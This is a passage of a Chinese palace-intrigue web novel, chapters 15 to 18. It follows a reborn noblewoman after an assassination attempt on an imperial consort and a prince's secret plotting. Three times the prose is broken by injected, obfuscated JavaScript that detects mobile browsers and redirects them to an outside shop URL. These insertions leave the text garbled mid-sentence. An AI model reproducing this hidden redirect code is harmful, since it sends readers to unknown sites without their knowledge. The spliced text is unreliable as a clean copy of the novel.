闻雪英之所以能认出来,是因为前世这季曼儿,也是靖桓宇后宅中的一员,只是她父亲是五品官,按理今日季曼儿是不必入宫的。 但她跟着茉阳郡主,闻雪英不由猜测,难道是靖桓宇授意茉阳郡主去接触季曼儿?季洪一个钦天监监正,难不成也值得靖桓宇花费心思笼络? 闻雪英正凝神思索着,眼角余光瞥见身侧不知何时多了一道人影,她扭过头去,发现身边的确是站了个女子。 那女子被一件粉蓝色的宽大斗篷罩着,露出娇小清丽的一张脸。 是赵又岚。 认出赵又岚的瞬间,闻雪英的心脏猛地一缩,脑子里电光火石般地闪过了前世她来告诉自己弟妹已死时的情景。 她不动声色地调整了下呼吸,冲赵又岚露出一个友好和善的笑。 这个时候的她与赵又岚,并不认识。 闻雪英朝旁边站了站,以为自己挡了她的路,但赵又岚并未动,她的目光似乎还在自己身上。 闻雪英被她看得浑身发毛,不禁开口:“姑娘,我脸上有脏东西吗?” 赵又岚笑了笑,开始自报家门:“家父是诚国公赵越,不知姑娘是哪家千金?” “……我叫闻雪英。” 赵又岚道:“原来是闻相家的千金,久仰久仰。” 闻雪英:“……” 两人莫名其妙地互换了名姓后,赵又岚仍未走远,反而跟她有一搭没一搭地说起话来。 主要是赵又岚问,她答。 “听说闻姑娘前些日子感染了风寒,不知如今身子可好些了?” “多谢赵姑娘关心,已经痊愈了。” “听说闻姑娘与二皇子殿下很是相熟?” “……是见过几次。” 赵又岚“哦”了一声,接着又道:“过几日便要选秀了,听说这回选秀,主要还是为了两位皇子挑选皇子妃,闻姑娘你觉得,这两个皇子妃之位,最终会花落谁家?” 闻雪英没兴趣猜测谁最后会成为皇子妃,她对赵又岚的前半句话有些惊讶,“不知赵姑娘是从何处得知,陛下是为了两位皇子才打算选秀的?” 赵又岚的目光在那些梅林中穿梭的女子中逡巡一遍,最终定在某一处,伸手指了指道:“方才听孙淑仪说的,她是孙贵妃的娘家侄女,想来她说的话必不会有假。” 原来如此。 闻雪英轻轻呼出一口气,顿时心情复杂。 这个消息出乎她的意料,她没想到选秀居然是为了给皇子选妃,如此一来,事情可就麻烦了。 她垂在身侧的双手下意识握成拳,指尖刺得手心发疼,正思索着应对之策,这时身后突然传来一阵惊呼喊叫之声,有人高声喊道:“有刺客!” 15. 第 15 章 孙贵妃居住的南风殿殿后便是那片梅林,纷杂吵嚷之声正是从南风殿传出。 守卫森严的皇宫之中,“刺客”这个字眼并不常听见。 眼下其余的官家千金们隐于梅林之中,喊声未曾传入她们的耳中,闻雪英和赵又岚离南风殿最近,第一时间听到了宫人的呼喊。 但她们的第一反应皆是怀疑自己听错了,两人对视了一眼,都从对方眼中看到了疑惑。 好端端的,南风殿怎么会有刺客? 这整座皇城内,最值得刺杀的那位正在养居殿,刺客到南风殿是要刺杀谁? 不过现下不是思考这个的时候,闻雪英想到钱晚宁还在殿内,赵又岚也第一时间想到了自己的娘亲,两人同时抬脚准备往里跑。 琥珀忙挡在两人面前,道:“小姐,赵姑娘,我先进去看看。” 她这一提醒,闻雪英瞬时冷静下来,她一把拉住赵又来,解释道:“我们不会功夫,还是先别进去添乱了。” 琥珀会功夫,再加上鞠衣今日也进了宫,现在跟在钱晚宁身边,若真有刺客,鞠衣也会出手。 看着琥珀奔向殿内的身影,闻雪英下意识抬手捂住自己胸口,一边深呼吸着一边在心中默念可千万不要出什么事。 好在琥珀很快又跑了出来,回道:“小姐,没事了,刺客已经被鞠衣制住了。” 闻雪英舒了口气,又问她:“贵妃娘娘和母亲还有各位夫人都没事吧?” 琥珀摇了摇头,刚要说话,殿内又传出了喊叫之声:“快去请太医!” 这下闻雪英等不住了,她提起裙摆就往殿内跑。 赵又岚也跟着跑。 南风殿内,官员夫人们个个面色如纸,惊惧未定。 有胆小的瘫坐在地,稍微胆大些的则都凑在孙贵妃身边,满脸的惊慌。 闻雪英一眼就看到了钱晚宁,她半蹲在孙贵妃面前,正用自己的手帕往贵妃手腕上缠,刚缠好的手帕已经有血迹渗出。 刺客要刺杀的人是孙贵妃? 众人七嘴八舌地询问贵妃的伤势如何,闻雪英蹙了蹙眉,心道你们是看不见贵妃手腕上的血吗? 贵妃明显也是后怕,她抬起头,眉心有因为痛楚而浸出的汗滴。 手臂上的伤口并不小,她从未受过这样重的伤,自是疼得厉害,但当着众多官家女眷的面,孙贵妃也只好强忍着轻轻一笑:“无碍。” 她缓了缓,看向一旁正被鞠衣钳制着跪在殿内的刺客,不解道:“你为什么要杀本宫?” 众人又随着贵妃的目光看向引起这场动乱的罪魁祸首。 是一身穿宫女衣裳的女子。 刺客原本被鞠衣按着趴在地上,听到贵妃问话,鞠衣又一手拎着她的后脖颈,迫使她仰头面对贵妃。 宫女的模样有些熟悉,贵妃略想了想,道:“你是一个月前新来南风殿的宫女,本宫可是哪里对你不好?” 孙贵妃自认为对待宫人一向不曾苛待,甚至连责骂都很少,怎么也不至于惹出杀身之祸。 思及此,贵妃深吸一口气,沉声道:“你若老实交代,本宫与陛下或许能饶你一命。” 那刺客也是很奇怪,按理她都敢在宫内公然向贵妃行刺,被抓后怎么也该摆出视死如归的神情才对,但这刺客却是浑身抖如筛糠,脸色比雪还白,仿佛她才是那个被刺杀的人。 闻雪英也等着看她能说出什么。 赵又岚一直站在闻雪英身侧,她此刻也正观察着刺客,突然她开口:“不对劲。” 闻雪英尚未明白她这话什么意思,就见刺客的眉心一蹙,五官拧在一起,似是痛苦极了,接着就见她唇角有暗红色的血液渗出,然后是鼻孔,双眼,耳朵。 几息之间,刺客便软绵绵地倒在地上,她仰面朝上,双目圆睁,七窍流血,显然已经没了气息。 众人皆是一怔,殿内死寂般的沉默。 原本控制刺客的鞠衣也是一脸懵,她抬起双手,无辜道:“小姐,我什么都没做。” 要说这刺客根本没有什么本事,不过是趁着给贵妃上茶的功夫,突然从袖口掏出一把匕首朝着贵妃刺了过去。 殿内的炭火烧得很旺,又有淡淡的熏香味弥漫,鞠衣站在钱晚宁身后听着贵妃与各位夫人说话,不禁有些昏昏欲睡。 事情发生的太突然,没有人会想到南风殿还能混进一个刺客,是以鞠衣的反应也慢了片刻。 刺客朝着贵妃刺过去,贵妃惊慌之余下意识抬手遮挡,这才不小心划伤了手臂。 不过下一刻鞠衣就一个旋身飞踢,将刺客踹倒在地,进而将其控制。 没过多久也就是闻雪英和赵又岚跑了进来,再之后便是现在刺客突然七窍流血而亡。 突然,沉默被人打破,旁边有人发出尖锐的“啊”声,闻雪英下意识扭头,见一位夫人许是瞧见了刺客的死状,又被吓了一跳。 她这一声喊叫,其他人也反应过来,场面一时间变得越发混乱。 闻雪英骤然回神,她前世经历的太多,刚才见刺客突然身亡除了吃惊并未感到害怕,但她忽略了这些平日里在深宅大院内没见过什么血腥场面的世家贵妇。 她略一思考,忙解下身上的披风扔到了刺客的尸体上,与此同时,赵又岚已经上前去安慰各位夫人,叫她们不必惊慌。 闻雪英挑了挑眉,心下稍稍惊讶,倒是没想到赵又岚也能如此镇定。 她暗暗感叹,难不成这就是将门之女的胆识? 一片混乱之际,外头响起了甲胄相撞的声音。 是宫内禁军到了,同时到的还有洪庆帝和太医。 洪庆帝大步越过门槛,脸色生硬如铁。 闻雪英在眼角余光看见明黄色龙袍时便跪了下去,赵又岚也放弃去安抚那些受惊的官员家眷跟着跪了。 钱晚宁稍稍往旁边挪了一步,跪下后率先出声:“臣妇参见陛下,陛下万安!” 她这一声铿锵有力,那些被吓得六神无主的官员家眷们也终于冷静下来,接连下跪。 靖渊暂时没空理会她们,他快步走至贵妃身边,关心道:“紫鸳,你可有受伤?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161334|137652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >孙贵妃现下倒是疼得麻木了,她勉强笑了笑,道:“陛下放心,只是点皮外伤,多亏闻夫人的侍女,否则臣妾怕是无缘再见陛下了。” 她故意说的轻松,靖渊的心却还是高高提起,尤其看到贵妃被缠起来的手腕后,他的眼底还是闪过了一抹厉色。 他回头厉声道:“还不快过来给贵妃医治?” 来的太医听说贵妃遇刺受伤后,原本就是一路跑着往南风殿赶,谁知半路上碰到了同样得到消息的洪庆帝,太医两腿只好奔得更快,但仍然落后了洪庆帝一步。 此时太医满头大汗,喘气如牛,但他也只好憋住呼吸,上前替贵妃查看伤势。 见太医脸色被憋的紫青,靖渊又一动不动地盯着太医,孙贵妃只好温和出声:“陛下,只是被刀划了一下,无碍的。” 靖渊冲着贵妃扯了扯唇角,转身看了眼地上被盖住的刺客尸体:“刺客死了?” 孙贵妃又道:“臣妾瞧着,她像是提前服了毒药,被制服不久便七窍流血而亡了……” 说着贵妃又叹了口气,接下来的语气有些哀伤:“她在南风殿伺候也有些时日了,没想到却……” 贵妃欲言又止,顿了顿对靖渊道:“陛下,先让各位夫人起来吧,她们今日也是受了不少的惊吓。” 靖渊的声音依旧有些冷:“都平身吧。” 众人起身悄悄立在两边,皆垂眸不语。 前世闻雪英其实很少见靖渊,她闭上眼回忆了一番,竟发现自己连他的模样都不曾记得了,但此时不是看清他容颜的时刻,出了这样大的事,他必定要下令严查。 现在还不能确定这刺客是谁派来的,又与今日入宫请安的各家女眷有无关联,闻雪英想,在事情没有眉目之前,恐怕她们一时半会儿出不了宫了。 果然,靖渊接下来便道:“有劳各位夫人小姐在此稍后片刻,来人,立即给朕去查!” 话落有人进来抬走了刺客尸体,许望筌应了声是,执着拂尘匆匆出了南风殿。 接下来便是不知要持续多久的等待。 靖渊的面庞隐隐透出铁青色,他在贵妃旁边的另一张椅子上坐了,视线缓缓从众人身上扫过,探寻着可疑之人。 殿内过于寂静,几乎能听见旁人的呼吸声,但那呼吸声也渐渐安静了下来,想来是极力控制住了。 孙贵妃见状,伸手按了按靖渊的手臂,想要说什么,靖渊只冲她摇了摇头。 今日的刺杀,绝非那么简单。 就在南风殿出现刺客的消息传至养居殿的半个时辰前,靖渊接到了靖桓宇从亳州传回的书信,信上称孙国舅一行在亳州也遭遇了一场未遂的刺杀。 前有孙家老宅被烧殃及周国公夫妇性命,后有孙国舅及其家眷以及贵妃遭遇刺杀,靖渊不得不怀疑,这三件事的主谋也许都是同一个人。 只是到底针对的是孙家,还是靖桓洲,亦或是针对的是他本人,靖渊一时却不得而知了。 他唯一能肯定的事,这事绝没有那么简单,就看今日从这南风殿的刺客身上能查到什么了。 16. 第 16 章 约摸两盏茶的功夫过后,许望筌走进来回话:“陛下,奴才派人去翻了刺客的衣物,找到了这个。” 许望筌手上捧着一个锦盒,瞧着精致贵重,不像是寻常宫女会有的东西。 所有人的目光都被那锦盒吸引了过去,闻雪英轻轻咬着唇,看着靖渊伸手接过锦盒。 或许锦盒中藏着刺客刺杀贵妃的原因。 靖渊伸手接过,打开锦盒看了看,接着又不动声色地合上。 闻雪英不敢明目张胆地看他,只用余光瞥了瞥,等着他开口,然而靖渊却是若无其事地道:“时候不早了,许望筌,安排人好生送各位夫人小姐出宫。” 闻雪英微微一愣,靖渊明显不想将锦盒里的东西示于众人眼下,这让闻雪英心里的好奇更重了几分。 然而他都发话了,她也不能赖着不走,便怀着疑惑随众人依次离殿。 到了宫门口,闻雪英扶着钱晚宁上了马车,自己也刚要上去,身后有人唤道:“闻姑娘。” 闻雪英回头,见唤她的人是与她“相识不久”的赵又岚。 “赵姑娘,有何指教?”闻雪英温和道。 赵又岚唇角微微上扬着,她含笑开口:“指教谈不上,只是今日我问闻姑娘的问题,闻姑娘还没有回答呢。” 闻雪英眉峰微动,看向赵又岚的眼神中带了几分审视。 赵又岚的问题她并未忘记,她问她,两位皇子妃的人选,最终会落到哪位官家小姐的头上。 原以为这问题不过是赵又岚随口与她闲聊,但她如今在这人来人往的宫门口,特意叫住了她,又问了一遍,这不得不让闻雪英深思。 然而她一时半会儿却也揣测不到赵又岚这话的意图,便温和回道:“这个,待到选秀结束那日,自然有陛下和贵妃娘娘定夺,赵姑娘静待结果即可。” 赵又岚伸手扶一扶被风吹到额前的发丝,微笑道:“听说初一那日,贵妃娘娘召了大皇子入宫,曾问他有无中意的女子。” “是吗?”闻雪英不动声色,淡淡地应了一句。 赵又岚接着道:“我也是今日听孙淑仪说的。” 闻雪英极力维持着得体笑容,心道贵妃召大皇子入宫问他是否有中意的人,莫非是陛下授意?难道最终的皇子妃人选,陛下要以两位皇子的意愿为主吗? 她内心多了几分焦灼慌乱,但面上依旧镇定自若,佯装露出疑惑的神情,讶异道:“赵姑娘跟我说这个做什么?” 赵又岚这下没有立即接话,她嘴角含笑注视着闻雪英,时间说不上长也说不上短。 有那么一瞬间,闻雪英觉得眼前打扮清丽的赵又岚,与前世来告诉她弟妹已死时雍容华贵的赵又岚重合起来。 闻雪英有片刻的恍惚,脑海中电光火石地闪过一个念头,然而未来得及深思,赵又岚突然伸手握住她的手,唇边的笑意更大了些,语气也更亲热了些:“哎,也没什么,只是今日听到了这些事,又刚与闻姑娘相识,想着能交个朋友,便忍不住与闻姑娘分享了。” 顿了顿又道:“闻姑娘愿意与我交个朋友吗?” 她问这句话时眨了眨眼,眉宇间有几分小女儿的俏皮,眼底隐隐还带着几分期待,好像她真的很想与闻雪英交这个朋友。 闻雪英一头雾水,滞了半晌只得笑道:“自然是愿意的。” “那便好。” 赵又岚最后撂下一句“以后有机会两人多聚聚”,之后便转身上了自家的马车离开。 闻雪英暗暗吁出一口气,沉吟着也上了马车。 * 南风殿内,等到所有的官员家眷都离开了,孙贵妃才问靖渊:“陛下,锦盒里装的什么?” 靖渊手里握着锦盒,不知道在想什么,孙贵妃问第一遍时,他似乎没听见。孙贵妃只好起身走到他面前,又问了一句:“陛下,锦盒里装了什么?” 眼前的光影瞬间变暗,靖渊回了神,朝贵妃笑了一笑,却是道:“没什么,你先好好养伤,朕回养居殿了。” 话落便起身越过贵妃,大踏步朝门口走去。 靖渊显然不想跟孙贵妃多说,孙贵妃张口结舌,只得眼睁睁看着他离开。 回到养居殿内,靖渊再度打开了锦盒,将里头的东西拿了出来。 锦盒里并非是什么贵重东西,不过是一张字条,但那上面的字,却是让靖渊大为震惊。 “为殿下大业着想,需尽快除掉贵妃。” 这便是那字条上的内容。 靖渊屏退了宫女太监,一个字一个字地琢磨着,这上头的“殿下”,不用说也知道指的是自己的某一个儿子,“大业”他也明白,无非就是他身下的这张椅子。 他的儿子要谋夺他的帝王之位,这很正常,将来他百年之后,帝王之位他也带不到地下,本来就是要传给他的儿子的。 他有两个儿子,帝王之位却只有一个,靖渊能理解或许他的两个儿子都想要这个位置,也能理解他们为了得到这个位置而去做一些事,他不能理解的是,大业跟贵妃有什么关系? 贵妃不过一个后宫妇人,从不过问前朝政事,她与“大业”能有什么关系? 贵妃遭遇刺杀,是因为“大业”,那么孙家其他人所遭遇的不测,也是为了这“大业”吗? 靖渊甚至都没有生出对有人要谋夺帝位一事的愤怒,他只是不解。 不知过了多久,养居殿的光线渐渐暗了下来,有宫人进来掌灯。 靖渊起身在殿内走了几步,深吸一口气,随即将那字条揉成了一团,扔进了一旁的火盆里。 火盆烧得正旺,字条顷刻间化为灰烬。 他沉吟半晌,叫来许望筌,道:“那锦盒里的东西,除了你还有谁看过?” 靖渊此刻背对许望筌站着,听着像是随口一问,许望筌一句“除了奴才没人看过”到了嘴边又咽了回去,他眼睛一转,改口道:“回陛下,这锦盒里的东西,奴才也没看过,奴才发现之后,就赶紧呈给陛下过目了。” 靖渊这时转过身来,他的脸隐在光影之下,看不清楚,许望筌只听到他平稳到没有任何起伏的声音:“是吗,朕还以为你先看过之后,方才交给朕的。” 许望筌心头一凛,忙跪了下去,道:“陛下明鉴,奴才的确没看过,奴才就是有一百个胆儿,也不敢对您说谎呀……” 说着又“砰砰”磕了几个头,靖渊从暗影中走出,缓缓道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161335|137652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“行了,朕不过问你一句,又没说不信你。” 许望筌刚要说一句“陛下英明”,靖渊又道:“看过了也无妨,你老实说朕也不会对你怎样。” “……奴才的确没看过。” 殿内死一般地寂静,只有火盆里炭火偶尔被烧得迸裂的声音,合着许望筌的心跳声。 又过了片刻,靖渊仿佛终于信了他,道:“退下吧。” 许望筌轻手轻脚地退了出去,刚迈过门槛,双膝便是一软。 他勉力抱住门框,这才使得自己没有再度跪下去。 许望筌的额头闷痛发疼,手心也满是汗水,他不由咽了口唾沫,暗自庆幸自己留了个心眼。 说起来,这宫里大半的宫女太监都是李朝时便在宫中当值的,后来李朝皇室灭亡,洪庆帝入主后,并未对他们这些命如草芥的下人赶尽杀绝,只让他们继续当差。 许望筌算是比较幸运,他之前只是养居殿里负责扫地的小太监,洪庆帝称帝后大手一挥,让他成了这皇城内的总管太监,从此伴于君王身侧伺候。 但这位君王的性子,他却是还没摸准。 他实在不敢保证,若是自己方才承认了他也看过锦盒里的东西,陛下会如何对他。 很明显,陛下并不想让别人知道锦盒里装了什么,许望筌迎着冷风擦了擦脸上的汗,打定主意以后对今日的事只字不提。 闻雪英回到家中与闻仲年碰了面,这才得知远在亳州的孙国舅一行也遭遇了刺杀。 联想到此前孙家老宅失火一事,还有今日贵妃也遇袭,闻雪英猜测道:“好像有人想要除掉所有知道大皇子身世的人。” 尽管那些人大部分都是大皇子的至亲,更是举足轻重的皇亲国戚。 可这猜测细细推敲下来,却是十分站不住脚。 杀了所有知情的人,唯一的好处便是大皇子的身世永远不会被人知晓,可问题是那些知情的人,本就是与大皇子利益相关的至亲,除非他们疯了才会将这秘密告诉别人。 可……闻雪英突然又想到了前世,前世靖桓宇不就是从孙贵妃那儿得知大皇子的身世的吗? 这样看来,利益相关的至亲,似乎也不是很能靠得住。 不过这事到底不是眼下最要紧的,闻雪英想到今日赵又岚对她说的那番话,倘若选秀只是为了给两位皇子选妃,那她就不能干等着,得做点什么了。 临睡前,她辗转反侧,迟迟没有睡意。 她虽是重生,可前世她身在后宅,一心只想当好靖桓宇的正妃,前朝争夺皇位的事,她几乎不曾过问过。 真算起来,她所知道的事,并不比别人多多少,也就是大皇子的身世一事,算是一个重要的信息,可奈何这件事与她没有半点益处。 出路还是得自己找。 闻雪英翻了个身平躺在塌上,平静地注视着漆黑一片的窗外。 今日是初五,十天后,便要开始选秀,那时靖桓宇估计也从亳州回来了。 十天的时间,闻雪英咬了咬唇,头昏脑涨地突然想到一个人,季曼儿。 她今日在宫里见到的季曼儿,或许,她的父亲钦天监监正季洪,能够帮得上忙…… 17. 第 17 章 冬日的天亮得晚,辰时的更声虽已响过,亳州城内仍旧灰蒙蒙一片,只零星有几处宅院亮了灯。 万籁俱寂之际,城东突然响起一声哀嚎,那哀嚎声很是突兀,骤然响起,吓得人心脏突突地跳,可顷刻间又恢复一片死寂。 即便有人听见,也当成是刚睁眼脑子不清醒幻听了。 常立出了一头冷汗,匆匆跑至靖桓宇门前,做了几个深呼吸后方小心翼翼开口:“殿下恕罪。” 靖桓宇在亳州期间,并未住在知府府邸或是城外的官驿。 他命人在城东临时租下一处宽阔却又远离百姓的宅院,在这里住了下来。 那突兀的哀嚎声,正是从这处宅院的柴房里传出的。 常立说完“殿下恕罪”后,里头过了好一阵才有了淡淡地回应:“做事小心些。” 听这语气,殿下并未怪罪,常立舒了一口气,道:“属下会注意的。” “问到什么了?”屋内靖桓宇又问道。 常立答道:“殿下,昨夜审了一夜,那稳婆的儿子也没说出什么有用的线索。” 靖桓宇正慢条斯理地在盆中浸着帕子,闻言先是叹了口气,接着缓缓道:“看来他们的口风果然紧,和敬德皇后乳娘的家人一样。” 敬德皇后的乳娘,也死在了年前孙宅的那场大火中。 殿下刚到亳州的第一晚,就让亳州知府吴明呈上了死者名录,以及他们的家人下落。 此次除了周国公夫妇二人以外,其余三十名死者,有二十人是从京都跟随周国公夫妇而来,剩余十人,则皆是孙家以前在亳州时的一些老仆。 因为他们的年纪也较大了,在亳州又各自有家人子孙,是以五年前孙家举家搬往京都时,便将他们留了下来。 这十人当中,有两个自敬德皇后的乳娘,还有一个是当年大皇子出生时,为敬德皇后接生的稳婆。 这三个人,殿下似乎格外上心,知道她们各自的家人下落后,殿下就派他去将那三家人“请”了过来。 殿下似乎想从他们口中知道一些关于大皇子生辰的消息,常立心中有所怀疑,但殿下未明说,他也不敢轻易将心中猜测说出来,只是按着殿下的吩咐,日夜不停地从那三家人口中问话。 屋内,靖桓宇将浸了冷水的帕子盖在脸上,缓缓地闭上了眼。 帕子的冷意透过皮肤传进他的神经,他拿下帕子,又睁开了眼,幽深的眸底透出一分阴鸷,“既说不出什么有用的话,便送他们去和家中长辈相见吧!” 这吩咐常立这几日已是第三次听了,可他心里还是忍不住一阵凛然,想要说什么最终还是忍住了,只低头应了声“是”。 他转身出了门,很快又折返回来,再回来时,身上隐隐带着一股血腥味。 这味道蹿进靖桓宇的鼻尖,他不由皱了皱眉,常立察觉,忙道:“属下先去洗漱下,换身衣服再过来。” 靖桓宇说:“不必了。” 常立身上淡淡的血腥味,瞬间将他拉回了那个经常盘踞在他脑海里的噩梦中。 约摸从半年前开始,他经常会做一个梦,梦里他娶了闻相的女儿,得到了朝中旧臣的支持;又娶了赵越的女儿,得到了新臣的支持。 后来无意中得知了大哥并非父皇亲生一事,随即顺利地让大哥失去了即位的可能性。 父皇的子嗣只有他和大哥,大哥非亲生,皇位只能传给他。 他顺利即位,天下终于尽在他手中。 这个时候,他终于可以着手铲除异己了。 父皇称帝后,格外优待那些曾经效忠于李朝皇室的旧臣,但他却认为,非我族类,其心必异,那些人怎么也比不上和父皇一起从尸山血海中共创基业的功臣,他认为李朝旧臣迟早有一日会起反心,与其等着将来事发,不如未雨绸缪,是以即位后的第一件事,便是除掉这个不安定因素。 闻仲年是李朝旧臣之首,他千方百计娶了他的女儿为妻,使得闻仲年一党只能无条件地支持他。 他很是感激闻仲年给他带来的助益,但他不能容许这些曾经效忠过其他人的臣子在他手下行事,焉知哪日他们会不会背叛自己。 他已是帝王,除掉这批李朝旧臣,朝中的职缺便即就会空出一大半,因此当他有意无意地向其他人透露了他对闻仲年一党的不满后,有一大批臣子向他暗表忠心,进献计策。 有了其他臣子的配合,铲除李朝旧臣的行动十分顺利。 等闻仲年一党反应过来时,他们已然身处大狱之中。 抄家,定罪,处刑,三个月的时间,他完成了登基后的第一件大事。 事情进行的很顺利,唯一的一点小意外,便是他真的对闻仲年的女儿动了心。 不过这件事并不曾让他有所动摇,江山稳定与儿女情长之间,他还是分得清的。 不过为了不让闻雪英有过激的行为,他特意留了闻家那对双胞胎的命,原以为随着时间流逝,闻雪英会渐渐忘记她的家人,安心做他的宠妃,岂料出了意外,加之皇后多嘴,闻雪英终究做出了极端行为。 梦里她死在了自己手下,鲜血从她的胸口涌出,便是现在这个味道。 突然,靖桓宇的回忆被常立打断,他问:“殿下,今日就是初五了,咱们什么时候回京?” 靖桓宇沉默半晌,道:“宫里应该已经动手了吧?” 常立道:“按照计划,今日官员家眷入宫,人多混乱之际,是动手的好时机,那宫女的老母在我们手上,她必然会乖乖听话。只是……” 常立顿了一顿,迟疑道:“属下还是不明白,殿下为何要让人去刺杀孙贵妃和孙国舅他们?” 且殿下说不必真的杀了他们,只让人知道有人要刺杀他们即可。 靖桓宇捏一捏眉心,冷静道:“回了京你就知道了,今日是孙家出殡的日子,咱们去露个面,明日就回京。” 常立应“是”,跟着靖桓宇出了门,打马直往孙宅而去。 此刻孙宅大门外的长街上,浩浩荡荡站满了送殡的队伍。 亳州上自知府,下至县丞,大大小小的官员外加亳州所有的大户人家以及平头百姓,皆出街亲自为周国公夫妇送行。 路两边,跪满了身披麻布孝衣的百姓。 常立随着靖桓宇进入主街,下了马,看到眼前景象,不由道:“殿下,孙国舅这排场,摆得也太大了些。” 不知道的还以为过世的是什么立下丰功伟业,可堪名垂千古的朝廷重臣。 靖桓宇道:“周国公夫妇于我父皇有恩,可不是立下了丰功伟业?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161336|137652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常立:“……” 那也不至于全城的百姓都来为其送行吧。 常立觉得这多少有些逾制,但殿下都这么说了,他一个下人自然也不好多嘴。 棺椁迟迟不见出来,靖桓宇于是进了孙家宅院,刚一进门就隐约听见有持续的怒骂声传来。 他寻着声音找过去,到了设置灵堂的地方。 知府吴明正满脸堆笑,点头哈腰地对孙国舅说着什么。 孙国舅与自己的两个儿子正轮番指责吴明办事不力,一是迟迟不能查出杀害周国公夫妇的凶手,二是疏于防备,几日前险些让孙国舅一行也遭遇了不测。 他们父子三人话里话外都在说回京之后便要向父皇进言,罢免吴明这个无用之人。 吴明满头大汗,不停地赔着罪。 当初他被派到亳州当差,与他一同外放就任的同僚都很羡慕他,说亳州是龙兴之地,乃有福之地,亳州定然会政通人和,他任上定会平平安安,不会遇上任何麻烦。 吴明当时也很高兴,谁知道上任不过两年,就遇上了这种事。 这几日,他在孙国舅面前放低了姿态,恨不能叫对方一声爹,以期能消减孙国舅的不满。 然而孙国舅始终对他不依不饶,隔三差五叫他到周国公夫妇灵前下跪赔罪。 吴明有苦说不出。 靖桓宇在门外听了一阵,唇角不由浮现一丝讽笑。 难怪父皇称帝后,赏了孙家宅院田地各种家产,却始终不曾对孙家的人委以重任。 商贾出身的孙家,终究登不了台面。 不过吴明对他还有用,他决定上前去解救他。 他跨过门槛,顺着靖桓洲的关系唤道:“舅舅,消消气,先送老人家入土为安要紧。” 孙国舅的两个儿子见靖桓宇进来,忙起身行礼,反倒是孙国舅本人,他似乎是真把自己当成了靖桓宇的长辈,虽息了声,却仍旧四平八稳地坐着。 常立眉心一跳,刚要上前,靖桓宇冲他使了一个眼色,常立咬了咬牙,又退了回去。 靖桓宇接着道:“舅舅,失火的事,已经有些眉目了,我打算明日便回京向父皇复命,原本该让舅舅与两位表兄在亳州多待一段时日为两位老人守孝的,只是前几日发生了刺杀的事,我思来想去,还是觉得你们应该明日同我一起回京,留在亳州,恐怕会有危险。” 他说出这样的提议,恰好说到了孙衍父子心坎里。 按规矩,不说为周国公夫妇守孝三年,也该守满百日,只是京中局势瞬息万变,大皇子又性子和善单纯,万一宫里出了什么事,他们在亳州鞭长莫及。 再者还有人想要他们的命,这种情况下,回京是最好的选择。 孙衍正愁没有提前回京的借口,没想到二皇子这就将借口递给他了,不过立即答应却也显得他贪生怕死,不顾孝道。 孙衍略做沉吟状,十分哀痛地说道:“身为人子,又岂能不为双亲守孝?” 靖桓宇道:“我想,两位老人不会怪罪舅舅的。” 孙衍双手捂脸,发出低低的哀泣声,“如此,那便依殿下所言吧。” 于是这日将周国公夫妇的尸身下葬,翌日一早,孙衍一行人便收拾行囊,与靖桓宇一同出发,前往京城。 18. 第 18 章 那日临睡之前,闻雪英脑海中突然迸出一个想法,或许她可以利用钦天监监正季洪来达成她的目的。 但如何让季洪为自己所用,闻雪英却是一时犹豫不决。 以强权压之?亦或是以钱财诱之? 闻雪英需要好好考虑一番。 初七这日早上,闻雪英到前厅与闻仲年钱晚宁一同用早饭。 闻雪洲和闻雪琼本来分别坐在钱晚宁身旁的,闻雪英一来,他们便下了地,抱着各自的木碗,“噔噔噔”跑到闻雪英身边。 闻雪琼道:“姐姐,我要坐在你身边。” 闻雪洲嘴角还沾着饭粒,跟着点头:“我也要坐姐姐旁边。” 坐在上座的闻仲年“啧”了一身,幽怨道:“两个没良心的小兔崽子,眼里只有姐姐没有爹爹是吧?” 刚才他这个老父亲想亲一亲他们,谁知两人都嫌弃他胡子太扎人,说什么都不给亲,抱也不给抱。 对面的钱晚宁板起脸,要叫闻雪洲和闻雪琼坐回原来的位置。 闻雪英含笑对她道:“母亲,没事儿的,让他们坐我这边吧。” 话落她弯下腰,擦掉闻雪洲嘴角的饭粒,又捏了捏闻雪琼白里透红的红润脸蛋,俯身将他们抱起放在自己左右两张凳子上。 五岁的小孩子,正是活泼好动的年纪,日常闻仲年忙于公务,常常早出晚归,偶尔休沐在家,也有一堆公事等着他,时不时还有下属或朝中同僚上门,闻仲年平日几乎很少有时间陪闻雪洲和闻雪琼玩。 钱晚宁要料理整个闻府的家务,加之京都官员众多,闻家的人虽少,但是京中不乏大门大户,几乎隔三差五地,便有各种帖子递进来。 东家今天娶媳妇,西家今天嫁女儿,还有各种寿宴丧事,少不得要她亲自准备礼物,又亲自上门走动。 